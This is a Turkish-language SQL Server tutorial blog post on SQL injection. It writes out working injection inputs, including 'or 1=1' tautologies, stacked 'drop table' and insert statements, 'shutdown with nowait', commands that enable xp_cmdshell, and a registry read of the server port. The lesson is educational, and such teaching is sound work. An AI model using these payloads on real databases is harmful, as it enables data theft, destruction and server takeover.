Emre Topçuoğlu | Kişisel Blog Sitesi

  • ANASAYFA
  • BLOG ANASAYFA

Kategoriler

  • .NET MVC – API (12)
  • Bilgisayar ve İnovasyon Topluluğu 2017-2018 (Üniversite Yılları) (5)
  • C Programlamaya Giriş (14)
  • C Veri Yapıları (18)
  • C# Nesne Tabanlı Programlama (25)
  • C# Programlamaya Giriş (19)
  • Kişisel Araştırmalarım (23)
  • NODEJS (9)
  • Python (22)
  • SQL VE T-SQL (31)

SQL VE TSQL DERS 31: SORGU GÜVENLİĞİ

21 Temmuz 2016emretopcuoglu·0 yorum

 

SQL INJECTION

/*
SQL Injection, veritabanı sunucusuna gönderilen sorgu bloğuna, yeni bir sorgu
sıkıştırma yöntemiyle gerçekleşir.
*/

create table kullanicilar
(
kullaniciId int IDENTITY(1,1) Primary key,
kullaniciAd nvarchar(20),
kullaniciSifre nvarchar(20),
kullaniciEmail nvarchar(20),
kullaniciTelefon nvarchar(20),
)

insert into kullanicilar values ('Ali','123','asd@hotmail.com','02213987654')
insert into kullanicilar values ('Veli','11223','aasdsd@hotmail.com','0216987654')
insert into kullanicilar values ('Mehmet','062123','amassd@hotmail.com','053287654')
insert into kullanicilar values ('Ayşe','aks123','asfasfd@hotmail.com','054213654')
insert into kullanicilar values ('Fatma','fasf123','asdhhg@hotmail.com','05553987654')

select * from kullanicilar where kullaniciId=1

-- Bu kod satırı tek 1 data listeler. Şimdi küçük bir oynama yapalım.

select * from kullanicilar where kullaniciId=1 or 1=1

-- Bu satırda ise bütün datalar listelenir.

select kullaniciAd,kullaniciEmail from kullanicilar
where kullaniciAd = '' or ''='' and kullaniciSifre='' or ''=''
 
-- Bu satırda da boş değer göndererek bütün dataları listeleyebiliyoruz.

select * from kullanicilar where kullaniciEmail = 'x' drop table Urunler

-- Bu basit gibi görünen select sorgusunda urunler tablosu silinir

/*Sql sorgusunda bir select sorgusu gerçekleşirken sorgu arasında bir veri
eklemesi gerçekleştirilebilir.*/

select * from kullanicilar where kullaniciEmail='x'
insert into kullanicilar values ('saldirgan','sifre11','test@test.com','01234456')
 
-- Sorgu çalışır ve saldırgan artık sistemin kullanıcısı olmuştur.

-- Basit bir sorguyu tehlikeli hale getirmek için Escape karakteride kullanılabilir.

select * from kullanicilar where kullaniciAd='/' drop table deneme

-- Sorgusu çalıştığında hem kullanıcı listelemez hemde deneme tablosu
-- silindiğine dair herhangi bir bildirim yapılmaz

select kullaniciAd from kullanicilar where kullaniciAd='' shutdown with nowait and
kullaniciSifre=''

/*Shutdown komutu veritabanı sunucusunun kapatılmasını sağlar. Ancak shutdown with
nowait olarak kullanılması, bekleme yapmadan hemen kapat anlamına gelir. Bu durumda
hiçbir işlem beklenmeden tüm işlemler kesilir ve sunucu kapatılır. Durum bu kadar da
sınırlı değildir.Sql serverda veritabanı sunucusu içerisinden işletim sistemini yönetmek
için tasarlanmış nesneler ve ifadeler vardır. Bunların en önemlilerinden biri
xp_cmdshell dir. Varsayılan olarak nerdeyse hiçbir hosting firması bu nesneye erişim
izni vermez.*/

select * from kullanicilar where kullaniciAd ='x' and kullaniciId is NULL 
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'xp_cmdshell',1 
reconfigure

-- Bu sorgu çalışırken SQL profiler ile izlendiğinde yaptığı işlemin aşağıdaki ile 
-- eş değer olduğu görülebilir.

exec sp_configure 'xp_cmdshell',1

/*
Sunucu adı, servis adı, sql serverın kullandığı port gibi birçok bilgi aşağıdaki kodla
elde edilebilir.
*/

SELECT @@SERVERNAME AS SunucuAd, @@SERVICENAME AS ServisAd;
DECLARE @value VARCHAR(20);
DECLARE @key VARCHAR(100);
IF ISNULL(CHARINDEX('\', @@SERVERNAME, 0), 0) > 0
BEGIN
	SET @key = 'SOFTWARE\Microsoft\Microsoft SQL Server\' + @@servicename 
	+ '\MSSQLServer\SuperSocketNetLib\Tcp';
END
ELSE
BEGIN
	SET @key = 	'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER\SUPERSOCKETNETLIB\TCP';
END
SELECT @KEY as [Key]
EXEC master..xp_regread
   @rootkey = 'HKEY_LOCAL_MACHINE',
   @key = @key,
   @value_name = 'TcpPort',
   @value = @value OUTPUT
SELECT 'Port Numarası : ' + CAST(@value AS VARCHAR(5)) AS PortNumber;

 

help injecton login rootkey server service

Yazı dolaşımı

Önceki Önceki yazı: SQL VE TSQL DERS 29: INSERT, DELETE, UPDATE TRIGGER
Sonraki Sonraki yazı: SQL VE TSQL DERS 32: ERİŞİM GÜVENLİĞİ
WordPress gururla sunar. Tema: Flat 1.7.11, Themeisle.